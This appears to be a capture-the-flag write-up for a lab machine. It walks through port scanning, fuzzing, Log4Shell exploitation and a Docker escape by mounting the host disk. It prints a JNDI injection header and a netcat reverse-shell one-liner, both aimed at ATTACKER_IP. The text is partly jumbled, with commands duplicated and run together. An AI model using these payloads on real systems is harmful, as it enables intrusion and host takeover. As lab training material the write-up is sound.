I started by scanning the target to identify open ports and running services.
nmap -p- --min-rate 100 --max-retries 2 -Pn 10.10.10.10 -vPORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Results:
I ran a targeted scan on the open ports for more detail:
nmap -p22,80 -A 10.10.10.10 -T4nmap -p22,80,5573,6970 -A 10.10.10.10 -T4
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-13 20:09 IST
Nmap scan report for 10.10.10.10
Host is up (0.60s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d1:e4:4d:bd:31:a4:d2:a9:f7:ee:79:be:e4:5a:9b:05 (RSA)
| 256 8f:14:e6:93:dc:b0:dc:e9:97:87:88:e2:51:75:d8:ca (ECDSA)
|_ 256 be:71:90:db:2a:17:b3:59:67:2a:c2:22:ca:2c:0b:d7 (ED25519)
80/tcp open nagios-nsca Nagios NSCA
|_http-title: Site doesn't have a title (text/plain;charset=UTF-8).
5573/tcp closed sdmmp
6970/tcp closed conductor
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.15
OS details: Linux 4.15
I used Feroxbuster to fuzz for directories. The initial scan revealed a ~logs endpoint.
feroxbuster -u http://10.10.10.10/ -w /usr/share/wordlists/dirb/common.txt -x php,txtferoxbuster -u http://10.10.10.10/ -w /usr/share/wordlists/dirb/common.txt -x php,txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher ver: 2.13.0
───────────────────────────┬──────────────────────
Target Url │ http://10.10.10.10/
Threads │ 50
Wordlist │ /usr/share/wordlists/dirb/common.txt
Extensions │ [php, txt]
───────────────────────────┴──────────────────────
200 GET 1l 19w 87c http://10.10.10.10/
200 GET 1l 6w 29c http://10.10.10.10/~logs
500 GET 1l 1w 73c http://10.10.10.10/error
Findings:
http://10.10.10.10/~logs (Status: 200)~logs endpoint using ffuf to see if there were further hidden paths.ffuf -u "http://10.10.10.10/~logs/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/big.txt -acffuf -u "http://10.10.10.10/~logs/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/big.txt -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0
________________________________________________
:: Method : GET
:: URL : http://10.10.10.10/~logs/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt
________________________________________________
log4j [Status: 200, Size: 47, Words: 8, Lines: 1, Duration: 1540ms]
Critical Find:
log4j (Status: 200)This immediately hinted that the machine might be vulnerable to the Log4Shell (CVE-2021-44228) vulnerability.
I downloaded the JNDI Exploit tool (JNDIExploit-1.2-SNAPSHOT.jar).
Challenge: My local machine was running JDK 21, but the exploit requires Java 8.
Solution: Instead of changing my system Java version, I downloaded a portable version of JDK 8.
wget https://github.com/AdoptOpenJDK/openjdk8-binaries/releases/download/jdk8u292-b10/OpenJDK8U-jdk_x64_linux_hotspot_8u292b10.tar.gz
tar -xvf OpenJDK8U-jdk_x64_linux_hotspot_8u292b10.tar.gz
You'll get a folder like:
jdk8u292-b10/
Instead of java:
./jdk8u292-b10/bin/java -jar JNDIExploit-1.2-SNAPSHOT.jar -i YOUR_IP -p 8000
⚠️ This avoids Java 17 completely.
Then I ran this:
./jdk8u292-b10/bin/java -jar JNDIExploit-1.2-SNAPSHOT.jar -i YOUR-THM-IP -p 8000
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8000...
# the 192.168.x.x is my THM IP and you can use a random port
nc -lvnp 1256).rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc ATTACKER_IP 1256 >/tmp/fGET /~logs/ HTTP/1.1
Host: 10.10.10.10
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36
Accept: ${jndi:ldap://ATTACKER_IP:1389/Basic/Command/Base64/BASE64_ENCODED_PAYLOAD}
Accept-Language: en-GB,en;q=0.8
Accept-Encoding: gzip, deflate
Success!
The LDAP server received the connection, and I caught a reverse shell on my Netcat listener.
nc -lvnp 1256
listening on [any] 1256 ...
connect to [THM-IP] from (UNKNOWN) [THM ROOM IP] 38455
sh: can't access tty; job control turned off
After stabilizing the shell, I searched for the first flag.
find / -iname 'flag' 2>/dev/null/opt/.flag1
/ # cd opt
/opt # ls
/opt # ls -la
total 12
drwxr-xr-x 1 root root 4096 Dec 11 2021 .
drwxr-xr-x 1 root root 4096 Dec 13 2021 ..
-rw-r--r-- 1 root root 19 Dec 11 2021 .flag1
/opt # cat .flag1
THM{REDACTED}
/opt/.flag1.Listing the root directory revealed a .dockerenv file, confirming I was inside a Docker container, not the host machine.
/ # ls -la
total 68
drwxr-xr-x 1 root root 4096 Dec 13 2021 .
drwxr-xr-x 1 root root 4096 Dec 13 2021 ..
-rwxr-xr-x 1 root root 0 Dec 13 2021 .dockerenv
drwxr-xr-x 1 root root 4096 Dec 11 2021 app
drwxr-xr-x 1 root root 4096 Dec 11 2021 bin
...
To escape the container, I checked for available disk devices that might be mounted or accessible from within the container.
fdisk -l/ # fdisk -l
Disk /dev/nvme1n1: 1 GiB, 1073741824 bytes, 2097152 sectors
Disk /dev/nvme0n1: 40 GiB, 42949672960 bytes, 83886080 sectors
Disklabel type: dos
Device Boot Start End Sectors Size Id Type
/dev/nvme0n1p1 * 2048 83886046 83883999 40G 83 Linux
Disk /dev/nvme2n1: 1 GiB, 1073741824 bytes, 2097152 sectors
Discovery:
I noticed /dev/nvme0n1p1 (40G size), which looked like the host's primary partition.
I created a directory in /tmp and mounted the host's drive to it.
/ # mkdir /tmp/priv_esca
/ # mount /dev/nvme0n1p1 /tmp/priv_esca
/ # cd /tmp/priv_esca
/tmp/priv_esca # ls -la
total 128
drwxr-xr-x 22 root root 4096 Dec 13 14:28 .
drwxrwxrwt 1 root root 4096 Dec 13 17:25 ..
drwxr-xr-x 2 root root 12288 Jun 5 2025 bin
drwxr-xr-x 3 root root 4096 Dec 13 15:29 boot
drwxr-xr-x 4 root root 4096 Dec 8 2021 dev
drwxr-xr-x 107 root root 12288 Dec 13 14:28 etc
drwxr-xr-x 4 root root 4096 May 25 2025 home
...
drwx------ 5 root root 4096 Jun 5 2025 root
...
I now had full read/write access to the host's filesystem.
I navigated to the host's root directory (/tmp/priv_esca/root).
I found a root.txt, but the contents were a troll: "Pffft. Come on. Look harder."
/tmp/priv_esca # cd root
/tmp/priv_esca/root # ls -la
total 36
drwx------ 5 root root 4096 Jun 5 2025 .
drwxr-xr-x 22 root root 4096 Dec 13 14:28 ..
drwxr-xr-x 2 root root 4096 Dec 13 2021 ...
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
drwx------ 2 root root 4096 May 24 2025 .cache
-rw-r--r-- 1 root root 161 Jan 2 2024 .profile
drwx------ 2 root root 4096 Dec 13 2021 .ssh
-rw------- 1 root root 966 Jun 5 2025 .viminfo
-r-------- 1 root root 29 Dec 13 2021 root.txt
/tmp/priv_esca/root # cat root.txt
Pffft. Come on. Look harder.
I listed all files including hidden ones (ls -la) and noticed a suspicious directory named ... (three dots).
/tmp/priv_esca/root # cd ...
/tmp/priv_esca/root/... # ls -la
total 12
drwxr-xr-x 2 root root 4096 Dec 13 2021 .
drwx------ 5 root root 4096 Jun 5 2025 ..
-r-------- 1 root root 26 Dec 13 2021 ._fLaG2
/tmp/priv_esca/root/... # cat ._fLaG2
THM{REDACTED}
~logs directory was the turning point.fdisk -l inside a container; misconfigured privileges often allow mounting the host drive.| Flag | Location | Status |
|---|---|---|
| Flag 1 | /opt/.flag1 |
✅ Captured |
| Flag 2 | /root/.../._fLaG2 |
✅ Captured |